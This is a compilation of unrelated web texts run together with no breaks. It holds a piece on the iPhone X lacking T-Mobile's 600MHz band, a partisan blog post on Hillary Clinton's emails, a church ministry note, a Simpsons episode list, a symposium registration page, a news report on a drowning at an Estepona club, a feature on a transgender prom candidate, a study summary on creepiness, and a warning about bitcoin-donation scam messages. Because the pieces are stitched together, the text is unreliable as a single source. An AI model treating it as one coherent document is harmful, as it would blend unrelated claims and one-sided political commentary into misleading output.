Apple announced the iPhone X, iPhone 8, and iPhone 8 Plus today. They’re all great phones in many ways, but they have one fatal flaw for T-Mobile and its customers: No support for T-Mobile’s new LTE network. Right now, T-Mobile is in the early stages of rolling out a brand-new 600MHz network nationwide. The first sites are already online, and T-Mobile is expecting to cover a million square miles by the end of 2017. But the 600MHz network uses a brand-new LTE channel, Band 71, and very few devices support it yet. Sadly for T-Mobile, you can’t add the iPhone 8 or iPhone X to that list. The specs page for the iPhone X confirms that it supports all the usual North American LTE bands, but not Band 71. However you frame this, it’s a blow for T-Mobile. The iPhone X is widely expected to spark an upgrade “super-cycle” that will see people on the iPhone 6 and 6S spring for the upgrade, since they’re buying a phone that they expect to last for years. That phone — expected to last for at least two years — won’t be compatible with the LTE band that T-Mobile is expecting to be the backbone of its network going forwards. Compatibility with 600MHz will become a big deal for T-Mobile customers, assuming you like actually using your phone when you’re out and about. Lower frequencies travel further and penetrate buildings better, which all adds up to superior coverage, especially inside buildings or in rural areas. Verizon has relied heavily on its 700MHz spectrum for years, and it’s a big part of the reason it keeps winning coverage awards. T-Mobile’s 600MHz network promises to be just as good or better, but you can only take advantage of it if your phone is compatible. 600MHz compatibility is only going to get more important as time goes on. T-Mobile is planning on having 600MHz coverage over 1,000,000 square miles by the end of this year, and by the end of 2018, it will play a big part in its national coverage — unless you have an iPhone X. There’s no doubt in my mind that T-Mobile wanted the iPhone X to support Band 71. CTO Neville Ray told me last month that T-Mobile is putting “as much, if not more effort into devices than the network” — and that’s a big statement, because T-Mobile is working hard on rolling out 600MHz. But T-Mobile only secured the 600MHz licenses in an auction early this year, which likely wasn’t enough lead time to build band 71 into the iPhone X’s modem. But whichever way you cut it, this isn’t great news for T-Mobile. It’s going into 2018 with just one flagship phone with B71 support, and that’s the LG V30, which is the most niche phone that I’d consider a common flagship. The Galaxy S9 will almost definitely have B71 support, but we’ll be waiting until next year for an Apple phone that includes it. Worse, anyone who buys an iPhone right now and wants to switch in six months won’t have the benefit of T-Mobile’s full LTE network. That’s not going to do much for T-Mobile’s PR campaign to have the best network. In short: if you’re buying an iPhone 8 or iPhone X, you probably shouldn’t go with T-Mobile. If you do, I’d go for a lease, rather than buying the phone on an instalment plan. That way, when the iPhone X2 shows up next year, you’ll be able to jump ship.
As I mentioned yesterday, New Year’s Eve was the deadline for the latest batch of Hillary Clinton’s emails to be released by the State Department. While they fell 2,000 pages short of their court-ordered goal of 43,000 for the year, there are still a lot of interesting stories in what we did get yesterday. We have already learned from previous email batches that Hillary had very close ties to Sidney Blumenthal. This latest group, however, show just how much the Secretary tried to conceal this relationship from others. Per Sarah Westwood of the Washington Examiner: For example, after Blumenthal emailed her a Foreign Policy story in March 2010 about Gen. David Petraeus and prefaced the article with a personal note, Clinton asked an aide to print five copies of the email “but w/o heading from Sid.” Clinton has tried in the past to dismiss Blumenthal’s input as unsolicited advice, but the more of these revelations we see, the further this excuse crumbles. If Herself didn’t value his input, she would have told him to get lost at some point, even if not in those exact words, at some point. That’s how she operates. We can also see evidence of how close the Clinton Foundation was tied into her work at the Department. From the same article: Another email indicated State Department staff members were heavily involved in a 2011 Clinton Global Initiative event. The message, written in Sept. 2011 and forwarded to Clinton’s personal email address, showed 10 top State Department officials were planning to participate in the event in some capacity. That included a dinner hosted jointly by the Clinton charity and Goldman Sachs, a longtime Clinton campaign donor. It shouldn’t surprise anyone at this point that the Clinton Foundation exists to promote both Bill and Hillary’s interests and careers, but emails like this one show just how deeply intermingled her work with the Foundation was with her work as Secretary. That is a scandal in and of itself even without the emails. The most interesting revelation from these emails, though, is Herself’s secret connection to Obamacare. We all know about how the failure that was Hillarycare paved the way for future efforts at socializing medicine, of which Obamacare is currently chief. However, an email from adviser Neera Tanden to Secretary Clinton in May of 2010 reveals that Hillary played a role in the development of the Affordable Care Act. From Philip Klein: Tanden informed Clinton that she was pitching New York Times healthcare reporter Robert Pear on the idea that many elements of Obamacare could be traced back to proposals originating with Clinton. Tanden wrote, “The one question I wanted to ask you is about your idea on using FEHBP as a kind of a public option. I know you gave that to Rahm last August, and then mysteriously, it was in the Senate Finance package like a month later.” […] In this email Tanden is suggesting that an alternative to the public option originated with Clinton, and went through Emanuel, and into the final bill in order to secure passage. Emanuel, during the 1990s, served as a senior adviser to President Clinton. The provision that Tanden appears to be referring to is one that’s now called the multi-state plan program. Under the program, the Office of Personnel Management, which runs the Federal Employees Health Benefits Program (FEHBP), contracts with private health insurers in each state to sponsor plans. “None of us had ever discussed it in the policy process of the WH and I didn’t hear of it in the Hill, so my assumption is that Rahm gave them your idea as a substitute for the public plan, which didn’t have the votes,” Tanden wrote to Clinton in the email sent roughly two months after Obamacare’s final passage. “I know that was all top secret, but I’m wondering if I should give Robert some hint of this only because it was a linchpin to moving the bill. I would get him sniffing around on it, so he’d write it more as his own reporting discovery (hopefully). i know institutionally it was hard for Rahm to be pitching public plan substitutes.” This email provides concrete evidence that Hillary Clinton played a role in crafting Obamacare. It’s the sort of information that could be enormously useful in proving that her history of making gigantic mistakes during her time with the Obama administration spans both foreign and domestic policy. Obamacare is still an albatross, and the more we can tie it around her neck, the better. In all, though, there isn’t really anything new in this latest batch of emails, just more information on problems we already knew existed. What we have here is just more concrete evidence of things we already suspected to be true. They are still useful for us as we head into the 2016 election season, but there’s nothing truly earth-shattering. With that said, we should still make sure Congress is doing its due diligence on the matter, and we should also make sure the Republican candidates don’t let all of this ammunition go to waste.
Consider for a moment some of the tremendous privileges and blessings the Internet and technology affords believers these days. Today we have the easiest and freest access to faithful Bible teaching that the church has ever enjoyed. On radio and streaming online, you can hear faithful expositors exalt and explain God’s Word at any time of the day or night. Moreover, you can dig through church history into the teaching legacies of godly men who helped protect and preserve the faith we hold so dear. And through the advent of smartphones, tablets, and other devices we routinely carry today, that immense wealth of Bible teaching and spiritual wisdom is never more than a couple taps away. However, those technological advancements can actually short circuit the life of the church. Many believers today think they can get the teaching and worship they need from a church through ministries online. In fact, some people have told us bluntly that Grace to You has become their church. We asked John MacArthur about that trend, and here’s how he responded: The church is where believers fellowship with one another, disciple each other, and put their giftedness to work for the sake of the Body of Christ. No online ministry can replace the role of the church in the life of the believer. We’re not interested in substituting for the church. But we do want to be an asset to you, stimulating your spiritual growth and building up your faith so that you, in turn, can be an asset to your local church.
The first classic episode of The Simpsons is a satire on political spin, as C Montgomery Burns decides to run for office after his nuclear plant's egregious environmental record is revealed. Special mention for Burns' campaign advert, in which he tries to rebrand a mutant, three-eyed fish as an example of natural selection – with the support of Charles Darwin himself – and which ends with the jingle "Only a moron wouldn't cast his vote for Monty Burns!" Best line: Burns: "Ironic, isn't it, Smithers. This anonymous clan of slack-jawed troglodytes has cost me the election, and yet if I were to have them killed, I would be the one to go to jail. That's democracy for you." In which Homer comes face to face with God (“Perfect teeth. A nice smell. A class act all the way”). Homer skips church one Sunday and, on the back of an enjoyably lazy morning, decides never to go back again. When he's ultimately undone, neighbours of all religious denominations ("Christian, Jew, or miscellaneous," as Reverend Lovejoy puts it) come to his rescue. So despite Homer's appealing-looking heresy, ultimately the message about faith is positive (and even profound). Best line: Bart: "Hey, where's Homer?" Marge: "Your father is ... resting." Bart: "'Resting' hung over? 'Resting' got fired? Help me out here." ROSEBUD Season 4, Episode 5 This pitch-perfect homage to Citizen Kane sees evil billionaire Mr Burns imbued with a never-before-seen sense of humanity and innocence as he searches for his lost childhood bear, Bobo. Bobo, it transpires, has fallen into the hands of Maggie, and Mr Burns tries to win the bear back by denying the people of Springfield the two things they really value: beer and television. Best line: Smithers: "Look at all the wonderful things you have, Mr. Burns: King Arthur's Excalibur, the only existing nude photo of Mark Twain, and that rare first draft of the constitution with the word 'suckers' in it." MARGE VS THE MONORAIL Season 4, Episode 12 Conan O'Brien is behind the script for this episode. After Springfield wins $3 billion in fines from Mr Burns, they are persuaded by a charismatic con artist to spend the lot on a monorail, which ends in inevitable disaster. A terrific, zany episode that has some great musical moments, from the monorail song itself, to Homer's homage to The Flintstones. Best line: Homer (singing): "Simpson! Homer Simpson. He's the greatest guy in history. From the town of Springfield! He's about to hit a chestnut tree. AARGH!" LAST EXIT TO SPRINGFIELD Season 4, Episode 17 Dentistry and industrial relations: a characteristically quixotic combination of themes tie this episode together. When Mr Burns tries to swap his workers' dental benefits for a keg of beer, Homer inadvertently becomes a union leader, his buffoonery interpreted as tough business acumen by Mr Burns. Best line: Mr. Burns: "This is a thousand monkeys working at a thousand typewriters. Soon, they'll have finished the greatest novel known to man. [reads a page] All right, let's see ... 'It was the best of times, it was the blurst of times?' You stupid monkey!" HOMER'S BARBERSHOP QUARTET Season 5, Episode 1 The story of the Beatles-esque rise and fall of Homer’s barbershop quartet is sweetly told, features great songs (most notably Baby on Board), countless cultural references and a perfect ending. Even by Simpsons' standards, it's ridiculously layered and on the 15th watch you can still spot things you'd missed. A classic. Best line: Lisa: "I can’t believe you’re not still popular." Bart: "What’d you do? Screw up like The Beatles and say you were bigger than Jesus?" Homer: "All the time. It was the title of our second album." CAPE FEARE Season 5, episode 2 This parody of Cape Fear might just be Sideshow Bob’s finest hour: writing in blood both death threats and letters to the Readers Digest; convincing his parole hearing that his “Die, Bart, Die” tattoo is simply the German for “The, Bart, The”; being hit in the face by rake after rake after rake before eventually performing Gilbert and Sullivan’s HMS Pinafore with a mop on his head. Best line: Juror: “No one who speaks German could be an evil man.” • Sideshow Bob will finally kill his nemesis Bart Simpson THE LAST TEMPTATION OF HOMER Season 5, Episode 9 Throughout The Simpsons, Homer’s adoration for Marge is unwavering. But with the arrival of Mindy, an attractive new colleague who shares all of his interests, Homer is swayed away from his flu-ridden wife. It’s a mark of the writers’ success that Homer remains the good guy throughout this episode. That it also involves flying monkeys, Bart’s temporary transformation into a geek and a cover of Barry Manilow’s Mandy is a bonus. Best line: Mindy: "What's wrong?" Homer: "Oh yeah, like you don't know! We're gonna have sex." Mindy: "Oh ... well, we don't have to." Homer: "Yes, we do. The cookie told me so." Mindy: "Well, desserts aren't always right." Homer: "But they're so sweet." HOMER BADMAN Season 6, Episode 9 Homer is accused of sexual harassment when he attempts to retrieve a gummy bear in the shape of the Venus de Milo from his feminist babysitter's bottom. It's a sharp satire on media-led witch-hunts, with protesters gathering outside the Simpson home – “2-4-6-8, Homer's crime was very great! Great meaning large or immense! We use it in the pejorative sense!” The made-for-TV movie of Homer's crime ("Homer S: Portrait Of An Ass-Grabber") is a particular treat. Best line: Kent Brockman: "Of course, there's no way to see into the Simpson home without some kind of infrared heat-sensitive camera. So let's turn it on!" [Cuts to an x-ray view of the Simpson home, with two heat sources visible: the whole family on the sofa and a turkey in the oven.] "Now, this technology is new to me, but I'm pretty sure that's Homer Simpson in the oven, rotating slowly." [Camera zooms in for a shot of the turkey] "His body temperature has risen to over 400 degrees – he's literally stewing in his own juices." HOMER THE GREAT Season 6, Episode 12 Homer briefly becomes the messiah of a Freemasons-type outfit called The Stonecutters, before driving the club into ruin and being expelled by the members of its replacement, The Ancient Mystic Society of No Homers (into which another Homer, Homer Glumplich, is admitted). The organisation’s original leader, Number One, is voiced with Shakespearean gravity by Patrick Stewart, although all he really wants to do is get drunk and play ping-pong. Best line: The Stonecutters’ musical number: “Who holds back the electric car?/ Who makes Steve Guttenberg a star?/ We do, we do!” LISA'S WEDDING Season 6, Episode 19 A fortune teller offers Lisa a glimpse into the future (the year 2010). Twenty-three-year-old Lisa is engaged to her dream man: a Hugh Grant parody named Hugh Parkfield, who appears to be everything she wants. There’s just one catch – this cultured, sophisticated Brit can’t stand Lisa’s family. Part of the episode’s fun come from seeing the Simpsons all grown up: teenage Maggie gets interrupted every time she tries to speak, Bart is a demolition expert, and Homer is virtually unchanged apart from a missing single hair. But it also manages to be genuinely touching, with Lisa finally choosing her embarrassing family over Hugh. Best line: Marge (on the phone to Lisa): “Lisa! Hello. How are you doing in England? Remember, an elevator is called a 'lift', a mile is called a 'kilometre', and botulism is called 'steak and kidney pie'". TWO DOZEN AND ONE DALMATIONS Season 6, Episode 20 A 101 Dalmatians parody that manages to squeeze in references to everything from Spartacus to Lady and the Tramp, Two Dozen and One Greyhounds sees Bart and Lisa attempt to rescue a litter of stolen puppies from Mr Burns. Its most enjoyable sequence comes when Mr Burns reveals his dastardly plan to skin the greyhounds and turn them into a fur coat – via the brilliantly inventive ditty See My Vest (sung to the tune of Be Our Guest). As Bart himself says: “You gotta admit, it's catchy.” Best line: Mr Burns (singing): “Like my loafers? Former gophers/It was that or skin my chauffeurs/ But a greyhound fur tuxedo/Would be best …” LEMON OF TROY Season 6, Episode 24 Local pride bonds father and son in this episode as we find out about the turnip-juice-drinking ways of Springfield’s neighbouring and rival town, Shelbyville. A string of cultural references are hidden within Lemon of Troy, including nods to Prince’s When Doves Cry, Rocky Balboa and Orwell's Nineteen Eighty-Four. Best line: Flanders: “Look, I called the police captain in Shelbyville and he said he hadn't seen them. But if they show up in the morgue, he's gonna fax us.” WHO SHOT MR BURNS, PART I Season 6, Episode 25 A true televisual event – Fox ran a phone contest for people trying to guess the identity of Mr Burns’ assailant – as well as a sterling episode in its own right. When oil is discovered underneath Springfield Elementary School, Mr Burns sets up a slant-drilling operation to siphon it away, provoking the ire of his fellow townspeople. But who fired the shot that felled him? Best line: Mr Burns: “Since the beginning of time, man has yearned to destroy the sun.” TREEHOUSE OF HORROR VI Season 7, Episode 6 An imaginative Treehouse of Horror episode, whose three separate stories take inspiration from Attack of the Fifty Foot Woman, Nightmare on Elm Street and The Twilight Zone. The last of those, Homer3, sees Homer enter a mysterious “third dimension”, where the creators get to play with 3D animation and indulge in some self-referential fun. Nineties gamers will also appreciate a rather nice nod to the library from Myst. Best line: Marge [voice-over]: “It all started on the 13th hour, of the 13th day, of the 13th month. We were there to discuss the misprinted calendars the school had purchased.” THE SUMMER OF 4 FT 2 Season 7, Episode 25 With just one 20 minute episode, The Simpsons packs in all the pathos and joy of a classic coming-of-age movie. After finishing the school year friendless, Lisa casts off her nerd image on a family holiday, befriending a group of cool kids headed by Erin (Christina Ricci). Bart, naturally, is furious that Lisa is trying to usurp his position as Cool Simpson, and wreaks revenge. One of those episodes where The Simpsons doesn't only crack wise, it just is wise. Best line: Erin: "Who does he think he is, with that slingshot in his back pocket? Dennis the Menace?" YOU ONLY MOVE TWICE Season 8, Episode 2 This brilliant extended Bond parody features one of the great minor characters in Simpsons history: Hank Scorpio, the hip, touchy-feely owner of Globex Corporation who turns out to be a Blofeld-esque super-villain. Best line: Marge: "Mr. Scorpio, this house is almost too good for us. I keep expecting to get the bum's rush." Hank Scorpio: "We don't have bums in our town, Marge, and if we did they wouldn't rush, they'd be allowed to go at their own pace." EL VIAJE MISTERIOSO DE NUESTRO JOMER (THE MYSTERIOUS VOYAGE OF HOMER) Season 8, Episode 9 After arguing with Marge and downing several “Guatemalan insanity peppers” at a chilli cook-off, Homer undergoes a hallucinogenic spiritual journey (partly inspired by the writings of Carlos Castaneda). He meets his spirit guide – a coyote – who urges him to find his true soulmate. Luckily, by the end of the episode, Homer realises that Marge was his soulmate all along. Exploring themes of marriage and alcohol abuse, the episode also manages to squeeze in a Springfield rendition of “Short Shorts” But the very best thing of all? Johnny Cash voices the coyote. Best line: Homer: “It's like you're from Venus ..." Marge: "And you're from Mars." Homer: "Oh, sure, give me the one with all the monsters." THE ITCHY & SCRATCHY & POOCHIE SHOW Season 8, Episode 14 In this delightfully self-referential episode, the producers of The Itchy and Scratchy Show attempt to revitalise its flagging ratings with the introduction of a new character (Krusty: “Whaddya got in mind? Sexy broad? Gangster octopus?”). In the end they settle on a streetwise dog named Poochie, voiced by Homer (meanwhile the Simpsons gain a Poochie-alike houseguest named Roy). The episode disgusts the show’s fans and Poochie is written out of the series when he is revealed to be an alien (a handwritten frame reads: “Note: Poochie died on the way back to his home planet”). Best line: Comic Book Guy: “Worst episode ever.” HOMER'S PHOBIA Season 8, Episode 15 Not every guest appearance on The Simpsons has resulted in a cast-iron classic, but John Waters's episode, which explodes many myths about being gay, is one of the best. Waters plays a man named John, whose budding friendship with Marge and the rest of the family is threatened when Homer discovers that he's homosexual, and begins to worry that his influence might turn Bart gay. Best line: Homer: "You know me, Marge. I like my beer cold, my TV loud, and my homosexuals f-laming!" HOMER VS THE 18TH AMENDMENT Season 8, Episode 18 Duff beer is certainly the life blood of Homer Simpson, if not the entire cartoon. So it makes sense that when someone is needed to pioneer Springfield’s bootlegging business, it would be Homer. His profitable career as the Beer Baron is short-lived; soon he must face punishment by means of an ancient catapult. Minor-character points go to the suave Rex Banner. Best line: “To alcohol! The cause of, and solution to, all of life's problems." HOMER'S ENEMY Season 8, Episode 23 One of the darkest entries in the Simpsons canon allows us to imagine what it truly would be like to live alongside someone like Homer J Simpson, with the help of a memorable supporting character. Frank Grimes (immediately nicknamed "Grimey" by Homer) is his conscientious new co-worker, driven increasingly insane by the laziness and ineptitude of his colleagues, finally electrocuting himself to death as he pantomimes Homer's idiocy. Best line: Grimes [talking about Homer]: "God, he eats like a pig!" Lenny: "I dunno. Pigs tend to chew. I'd say he eats more like a duck." THE SIMPSONS SPIN-OFF SHOWCASE Season 8, Episode 24 Troy McClure hosts this compilation episode dedicated to a succession of (perfectly) badly written Simpsons spin-off shows: a buddy cop drama called Chief Wiggum, PI, Moe Szyslak’s laugh-tracked sitcom The Love-Matic Grampa, and a song-and-dance spectacular, The Simpson Family Smile-Time Variety Hour, in which Lisa is replaced with a beautiful, dim teenage girl. Best line: Chief Wiggum: “It’s no cakewalk being a single parent, juggling a career and family like so many juggling balls … two I suppose.” MR PLOW Season 9, Episode 4 Challenge a Simpsons fan to sing the Mr Plow jingle and few would decline. Another of Homer’s surprisingly successful ventures (see the Beer Baron), his snowplowing business overcomes fallouts and rescue missions, only to be conquered by the elements. Best line: Homer: "Now, we play the waiting game. [waits] Ahh, the waiting game sucks. Let’s play Hungry Hungry Hippos!" ALONE AGAIN, NATURA-DIDDILY Season 11, Episode 14 Homer is forced to overcome his irritation towards his God-fearing neighbour Ned Flanders when he causes the death of Flanders's wife, Maude. We watch Ned go through the grieving process and temporarily denounce God before finding a new woman. The entire process also allows us to witness Bart playing nice with the well-behaved, high-pitched Flanders boys, Rod and Todd. Best line: Lovejoy: "In many ways Maude Flanders was a supporting player in our lives. She didn't grab our attention with memorable catch phrases or comical accents." Willie: "Aye!" Sea Captain: "Yarr!" Frink: "Oh Glaven!" This is our list, but what do you think? Are we too heavy on the Nineties "golden age"? Should there be fewer Homer-centric episodes? Argue for your favourites in the comments section below.
2019 Symposium Online Pre-Registration July 31 – August 3, 2019 Sandy, Utah THEME: Threads in the Mormon Tapestry Online Registration for the 2019 Summer Symposium will close July 26, 2019 at Midnight. After online registration is closed, you will need to register at the door. This year, Sunstone is offering at option for our those that can’t travel to the physical symposium, but don’t want to miss out on the fun! Register as a digital attendee and get access to all of the great Sunstone content and be a part of the Symposium from anywhere. Click here to register. Symposium Pre-registration Prices Sunstone is happy to announce that all audio for sessions this year will be free and available to the public online six months following the symposium. In order to accommodate that change, our prices have changed. Please pay attention to the price differences below. Please register only for the discounts for which you are eligible. All registration discounts will be verified by Sunstone, and any additional money owed due to inaccurate registration claims will be collected at the door before admittance to the Symposium. A current student ID must be presented at the registration desk to qualify for the student discount. (If you have any difficulties registering, please email Sunstone at [email protected] or call Grace at the office at 801-355-5926) *If you are planning on eating dinner Saturday night at our banquet, you must purchase your ticket in advance. Dinner tickets must be purchased in addition to registration tickets. Dinner tickets are limited and available on a first-come basis. IMPORTANT INFORMATION REGARDING REGISTRATION: Once you register you will receive an email confirmation as well as a reminder one week prior to the event. Tickets will be available under the name registered at the check-in desk. If you are registering for more than one person, please include names for every ticket so that each attendee will have a correct name badge. 3-day registration includes full access to conference schedule (with exception of dinner ticket) Thursday 31 – Saturday 3, 2019. Each session is first-come up until room capacity is reached. Although there will be room for every attendee at the conference, Sunstone cannot guarantee admission into your preferred session. Please plan your schedule accordingly. If the session you wish to attend fills up, you will have to choose from another session on the program. There are a limited amount of single session tickets available for each session, please purchase single session tickets early to guarantee your spot into the session you wish to attend. If you missed a session you were hoping to attend, 2019 symposium audio can be purchased on site or online after the conference. Online Registration for the 2019 Summer Symposium will close July 26, 2019 at Midnight. Prices increase $10 at the door.
THE owner of an Estepona sex club where a woman drowned on Sunday December 4 has been taken into custody. The man has been arrested so that the police can shed some light on the circumstances surrounding the young woman’s death. There has been strong speculation that the woman, who was Romanian, was working illegally in the brothel, named Club California. The owner of the club will now be questioned to determine if this is true. Reports have indicated that he has denied these accusations. The police are also attempting to determine whether the young woman had been locked in the basement. Were this proven to be the case, the owner of the nightclub could be charged with manslaughter. She had reportedly been the only person in the building at the time of her death. According to the man, the woman had just been passing through, as she had a friend who was working there. He insisted that in his establishment, “no one is kept against their will.” As expected, the postmortem examination has confirmed that the 26-year-old woman died from drowning after she became trapped in the basement of the nightclub. The building had become flooded following the heavy rainfall which occurred in the area last weekend. The exact identity of the victim has still not been determined, although her name has been reported as Alicia in the Spanish press. In the moments leading up to her death, the woman had called a friend, saying that she was surrounded by water. Reports have indicated that she climbed onto a bar and tried to open a window to escape, but had been unable to do so. Firefighters went to the scene and found the woman’s lifeless body floating in the water. In the aftermath of the death, Podemos representatives in Estepona have drawn attention to the issue of illegal prostitution. They argued that many of these women are being exploited and went on to describe the recent tragedy as a wake-up call for the town. Party members stated that “now is not the time to look the other way, but rather this is the moment to tackle the matter of prostitution in our community.”
SEMINOLE — Concrete, coveted Osceola High, with its demerit system and monthly parent meetings and ban on flip-flops, is the only fundamental high school in the state of Florida. Fundamental schools, to borrow a phrase from Pinellas literature, are "like schools used to be." Cut off from Lake Seminole by a forest of pines, Osceola promises a top-tier public education with no disruptions getting in the way, no distractions tolerated. "Have you heard?" This was two weeks ago, in a leadership class at Osceola. Two students are talking, loud enough for others to hear. "Heard what?" "There's a girl running for prom king." "What? Who?" This is a story about Sebastian Rollins, born Gina, an 18-year-old who seems to be the first transgender student to run for prom court in Tampa Bay. Afraid of getting in trouble, Sebastian was quiet about his identity at school. But if his school could see him as a king, he thought, then maybe it could see him as a man. • • • "What do you want to be when you grow up?" His grandmother asked 13 or 14 years ago, before he had even started kindergarten. "I want to be a boy," Sebastian said. Playing pretend with his little brother, he had imagined himself as male heroes. When his breasts came in, they felt wrong. Sebastian thought girls were cute, and started to tell friends he was gay. In the seventh grade, he took his brother's boxers out of the dryer and wore them around all day under his jeans. He didn't tell anyone about that. Middle school was tough enough as it was. The butt of the joke in sex-ed classes, Sebastian got used to other kids coming up to him and asking, "What's wrong with you?" He thought about suicide. He cut his arms; you can still see scars when it gets cold out. But high school was different, Sebastian says. More people came out. He took art and music classes. He cut off his hair. In the summer after sophomore year, Sebastian met Sammy Blazejack, now 18, when she asked to borrow his hair brush. They've been a couple since. Then one morning about a year ago in the girls' bathroom at Osceola, where the tile carries every sound and girls apply makeup at the mirrors, Sebastian heard three students whispering. "Is he in the right bathroom?" "Does he know this is the girls' room?" "Oh my god, it's a girl." Sebastian threw open the stall and washed his hands while staring at them but didn't say a word. He didn't want to get any referrals, which could get him kicked out of a fundamental school. But he started telling his friends and family he was not a girl, never was. He was a him. He told them to call him Sebastian. He liked the sound of it. Sebastian bound his breasts with an Ace bandage. Sebastian used the men's fitting room at the mall. Sebastian used the men's bathroom at the movie theater. Sebastian was himself, and he was happy. But school remained a different story. His classmates didn't understand what was going on with him. His teachers called him Gina. He didn't correct them. At Osceola, Sebastian uses the girls' bathroom and the girls' locker room. Again, he is afraid of getting referrals and losing his seat at the school. Running for prom king came up as a joke, then. It would be funny if he ran for prom king, wouldn't it? His friends laughed along. Sebastian kept thinking about it. What if he did run? • • • Six-feet-nine with the hands of a bear and the face of a Kennedy, the principal of Osceola Fundamental High School is Mike Bohnet. Many years ago, in Michigan, Bohnet was on homecoming court. "It was nice," he says. When Sebastian asked to run for king, Bohnet says all he did was look for Pinellas policies or procedures that would prohibit it. There was no discussion of feelings, he said, no flowery language, no talk of progress. Last week, the U.S. Department of Education issued a statement confirming the federal Title IX law prohibits discrimination against transgender students. Pinellas has no policies specifically addressing transgender students, school board attorney David Koperski said. "We respect all state and federal laws, as well as our own polices, regarding antidiscrimination." Bohnet declined to allow a reporter and photographer into Osceola during voting for prom court: "It would be disruptive." But he let Sebastian run. Whether he would win, Bohnet said, was a decision for the students. • • • "What? Who?" "Gina. She's running." The rumors came quickly: Gina, as his classmates called Sebastian, was running for attention. Gina was only saying he was a boy to get elected. Gina was ruining tradition. And perhaps the most pervasive rumor was that some of the girls didn't want to run for queen because of him. "If he wins, the traditional system is the boy and girl match up, and the king and queen dance. Some of the girls don't want to dance with Gina," said Lorenzo Bright, an 18-year-old senior. Bright also ran for king. He said he supported Sebastian and might vote for him. So did Monica Mezerowski, an 18-year-old senior who ran for queen. "She's very funny, she's very intelligent, and she goes for what she wants." The school has an active Gay-Straight Alliance. But even junior Logan Rogers, who is gay, said he wasn't initially in favor of Sebastian's bid for king. "I was a little weirded out, because it's not the normal thing to do. I know that contradicts my own situation," said Rogers, 16. "But honestly, who cares? Who does it affect but her?" Two weeks before the prom, Sebastian took Sammy to a place that he, like most teenage boys, did not want to be. At Tyrone Square Mall he helped her look for shoes to go with her dress. He suggested Foot Locker, then asked why she didn't wear the canvas shoes she had on. In Rack Room Shoes, Sammy found a pair of black heels. Sebastian is 5 feet 3, "on a good day." "You're going to be, like, 5 feet taller than me," Sebastian said, putting his hands on her waist to see what it would be like when they danced. He frowned. "We could get you Crocs." The school voted that Wednesday. "Gina Rollins," read his name on the ballot. Sebastian felt a little let-down. He wondered why it was so hard for them to see who he was. But he was happy to be on the ballot. He was happy to have run. No matter what happened, more of his classmates had started calling him Sebastian. He voted. • • • On Tuesday, Sebastian went on a field trip to interview for an apprenticeship as an electrician. When he returned to Osceola and walked into the front office, there was Bohnet with a big smile on his face. Sebastian had just missed the announcement over the intercom, the principal said. "Congratulations. You're on court." There were nine or so guys who had run for king, and five of them had made court. Sebastian didn't win king. That title went to a student whom he doesn't know well, whom he says is a pretty popular guy. But Sebastian did not care about that. He was thinking, I beat four guys who were born guys. He was thinking, I did it. "It says my school, number one, is really an understanding bunch of people," he says. "To them it doesn't matter as much about the gender. It's about how much people care about you. They care about me." And that was almost the best part. The best part, Sebastian says, is that when the announcement was made over the intercom, the announcement that he missed, the principal said his name. The name he wants for himself. Sebastian Rollins, prom court. He thought about the prom, which is Saturday. But mostly he thought about what the next day in school would be like. Maybe his teachers would start calling him Sebastian too. They wouldn't make a big thing of it, he imagined. They would just pop out in the hall, maybe when he was walking by, and they would say, "Hey, Sebastian." He would say "Hey" back. And he would keep walking, like it hadn't been a thing at all. tb-two* staff writer Brea Hollingsworth contributed to this report. Contact Lisa Gartner at [email protected]
(Photo: Jakub Krechowicz/Shutterstock) What creeps us out? Psychologists Francis McAndrew and Sara Koehnke wanted to know. Their hypothesis was that being creeped out was a signal that something might be dangerous. Things we know are dangerous scare us—no creepiness there—but if we’re unsure if we’re under threat, that’s when things get creepy. ADVERTISEMENT Thanks for watching! Visit Website Think of the vaguely threatening doll, not being able to see in a suddenly dark room, footsteps behind you in an isolated place. Creepy, right? We don’t know for sure that we’re in danger, but we don’t feel safe either, and that’s creepy. They surveyed 1,341 people about what they found creepy and, among their findings, they found that people (1) find it creepy when they can’t predict how someone will behave and (2) are less creeped out if they think they understand a person’s intentions. Both are consistent with the hypothesis that being unsure about a threat is behind the the feeling of creepiness. They also hypothesized that people would find men creepy more often than women since men are statistically more likely than women to commit violent crimes. In fact, 95 percent of their respondents agreed that a creepy person was most likely to be a man. This is also consistent with their working definition. ADVERTISEMENT Thanks for watching! Visit Website ADVERTISEMENT Thanks for watching! Visit Website Generally, people who didn’t or maybe couldn’t follow social conventions were thought of as creepy: people who hadn’t washed their hair in a while, stood closer to other people than was normal, dressed oddly or in dirty clothes, or laughed at unpredictable times. Likewise, people who had taboo hobbies or occupations, ones that spoke to a disregard for being normal, were seen as creepy: taxidermists and funeral directors (both of which handle the dead) and adults who collect dolls or dress up like a clown (both of which blur the lines between adulthood and childhood). If people we interact with are willing to break one social rule, or perhaps can’t help themselves, then who’s to say they won’t break a more serious one? Creepy. Most of their respondents also didn’t think that creepy people knew that they were creepy, suggesting that they don’t know they’re breaking social norms. Even creepier. McAndrew and Koehnke summarize their results: While they may not be overtly threatening, individuals who display unusual nonverbal behaviors ... odd emotional behavior ... or highly distinctive physical characteristics are outside of the norm, and by definition unpredictable. This activates our “creepiness detector” and increases our vigilance as we try to discern if there is in fact something to fear or not from the person in question. This post originally appeared on Sociological Images, a Pacific Standard partner site, as “What Is 'Creepiness'?"
This blog did not and will not send requests for bitcoin donations. There seems to be a virus or some sort of malware going around causing blogs to “send out” chat messages to blogs that they follow asking for help with the purchase of certain items through donations of seemingly small amounts using bitcoin and adds a link to the message. The message goes as following (at least the first message I got went like this): “Hi there buddy. I need help, I’m trying to buy a laptop and I can’t afford it. I’m about 0.36$ short, and I’d really appreciate if you could help me and transfer some money to me via bitcoin using this *link*.” The small details in the message seems to have a few variations with the greeting, amount and purchased item showing up in different variations from formal to friendly, from 0.016 to 2$ and from a phone case to a laptop among others. The blogs that are affected send out the messages to blogs that they follow for a long time mostly, so you are most likely to receive the message from a long time, active follower whose name you might recognize or a mutual etc. The blogs that are affected are not spam bots but actual active followers who follow the recipient for months or years and most likely the blogger who “sent” the message is unaware of the message being sent. DO NOT OPEN THE LINK. Opening up the link will cause the virus to spread even more and infect your computer/mobile with any sort of malware. If you have received a message of that sort from this blog please know that it was not sent by me or within my control and ignore/delete the message without clicking the link.
